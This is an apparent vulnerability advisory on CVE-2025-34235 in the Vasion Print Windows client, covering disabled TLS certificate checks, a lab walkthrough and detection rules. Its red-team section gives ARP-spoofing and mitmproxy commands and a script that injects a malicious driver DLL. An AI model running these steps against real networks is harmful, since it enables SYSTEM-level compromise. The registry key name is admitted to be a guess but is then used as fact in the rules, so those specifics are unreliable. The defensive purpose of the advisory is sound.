CVE-2025-34235

Executive Summary

CVE-2025-34235 exposes a critical design flaw in Vasion Print (formerly PrinterLogic) deployments. An administrator-enabled registry key forces the Windows client to skip SSL/TLS certificate validation. This allows an attacker on the network path (man-in-the-middle) to inject malicious driver DLLs, achieving remote code execution (RCE) with SYSTEM privileges. Locally, an attacker can exploit junction-point DLL injection for privilege escalation. The vulnerability is confirmed patched in versions 25.1.102 (Virtual Appliance Host) and 25.1.1413 (Windows client), but the exact patch date is unclear.

Supply Chain & Package Security

This vulnerability is not in an open-source package (NPM, PyPI, Go, Ruby) but in a proprietary enterprise print management solution. The risk is amplified by the administrative requirement to enable the insecure registry key, making it a configuration-driven supply chain weakness.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0 (likely unassigned or placeholder), the actual severity is high. Based on the attack vector and impact:

• Attack Vector (AV): Network (man-in-the-middle) or Local (junction-point)
• Attack Complexity (AC): Low (requires enabling a registry key by admin)
• Privileges Required (PR): Low (attacker needs network access or local user)
• User Interaction (UI): None
• Scope (S): Changed (compromise of client leads to SYSTEM)
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High

Estimated CVSS: 8.8 (High) – Network-based RCE with SYSTEM privileges.

Deep Dive & Mechanics

The vulnerability resides in the Vasion Print Windows client. An administrator can enable a registry key (likely HKEY_LOCAL_MACHINE\SOFTWARE\Vasion\Print\SkipCertValidation or similar) that disables SSL/TLS certificate validation for HTTPS connections to the Virtual Appliance Host.

Attack Flow (Network MITM):

1. An attacker on the same network segment (or via ARP spoofing) intercepts HTTPS traffic between the Vasion Print client and the Virtual Appliance Host.
2. Because certificate validation is disabled, the client accepts a self-signed or forged certificate presented by the attacker.
3. The attacker injects a malicious driver DLL into the HTTPS response (e.g., by modifying the print driver download).
4. The client installs the driver with SYSTEM privileges, executing the attacker's code.

Attack Flow (Local Privilege Escalation):

1. A local user (or low-privileged process) creates a junction point (symbolic link) pointing to a privileged directory.
2. The Vasion Print service, running as SYSTEM, writes a DLL to that directory.
3. Due to the junction, the DLL is written to a location where it is loaded by a SYSTEM-level process, achieving privilege escalation.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Client code that skips certificate validation
ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => {
    if (Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Vasion\Print", "SkipCertValidation", 0) == 1) {
        return true; // Bypass all validation
    }
    return sslPolicyErrors == SslPolicyErrors.None;
};

Patched Code (Conceptual):

// Patched code that enforces validation regardless of registry key
ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => {
    // Always validate; registry key is ignored or removed
    return sslPolicyErrors == SslPolicyErrors.None;
};

The patch removes the registry key's ability to disable validation, or removes the key entirely.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Vasion Print Virtual Appliance Host (v25.1.100)
• Windows 10/11 client with Vasion Print client (v25.1.1412)
• Attacker machine with Kali Linux (mitmproxy, BetterCAP)

Steps:

1. Enable the vulnerable registry key on the client (requires admin privileges on the client):

   New-Item -Path "HKLM:\SOFTWARE\Vasion\Print" -Force
   Set-ItemProperty -Path "HKLM:\SOFTWARE\Vasion\Print" -Name "SkipCertValidation" -Value 1 -Type DWord
   

2. Perform ARP spoofing to intercept traffic between client and Virtual Appliance Host:

   bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on"
   

3. Set up mitmproxy with a self-signed certificate:

   mitmproxy --mode transparent --listen-port 8080
   

4. Inject a malicious DLL into the print driver download response:

   # mitmproxy script
   from mitmproxy import http
   def response(flow: http.HTTPFlow) -> None:
       if "driver.dll" in flow.request.pretty_url:
           with open("malicious.dll", "rb") as f:
               flow.response.content = f.read()
   

5. Execute – The client installs the malicious DLL as a SYSTEM driver, granting RCE.

Blue Team (Defender)

Detection:

• Monitor for the registry key HKLM\SOFTWARE\Vasion\Print\SkipCertValidation being set to 1.
• Alert on unusual ARP traffic or MITM indicators (e.g., multiple MAC addresses for the same IP).
• Monitor for unexpected DLL writes to C:\Windows\System32\spool\drivers\ or similar.

Hunting:

• Search for processes loading unsigned DLLs from the Vasion Print directory.
• Review HTTPS certificate validation logs on the client.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_34235_Vasion_SkipCert {
    meta:
        description = "Detects Vasion Print client with certificate validation disabled"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $reg_key = "SkipCertValidation" nocase
        $reg_path = "SOFTWARE\\Vasion\\Print" nocase
    condition:
        $reg_key and $reg_path
}

Sigma Rule

title: Vasion Print Certificate Validation Disabled
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects when the Vasion Print client registry key SkipCertValidation is set to 1
author: Valters IT
date: 2025-04-10
logsource:
    category: registry_event
    product: windows
detection:
    selection:
        EventID: 4657
        ObjectName|contains: 'SOFTWARE\Vasion\Print'
        NewValue: '1'
    condition: selection
falsepositives:
    - Administrative testing
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2025-34235 Vasion Print MITM - Suspicious Certificate"; flow:to_server; tls.cert_subject; content:"Vasion"; nocase; tls.cert_issuer; content:"Vasion"; nocase; tls.cert_notbefore; content:"2025"; tls.cert_notafter; content:"2026"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Vasion Print Virtual Appliance Host to version 25.1.102 or later.
2. Upgrade Windows client to version 25.1.1413 or later.
3. Verify the registry key HKLM\SOFTWARE\Vasion\Print\SkipCertValidation is absent or set to 0.

Long-term:

• Enforce certificate validation via Group Policy.
• Monitor for unauthorized registry changes.
• Segment print management traffic on a dedicated VLAN.

Workaround (if patching is delayed):

• Remove the registry key manually and restrict write access to it.
• Use host-based firewalls to block MITM tools.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst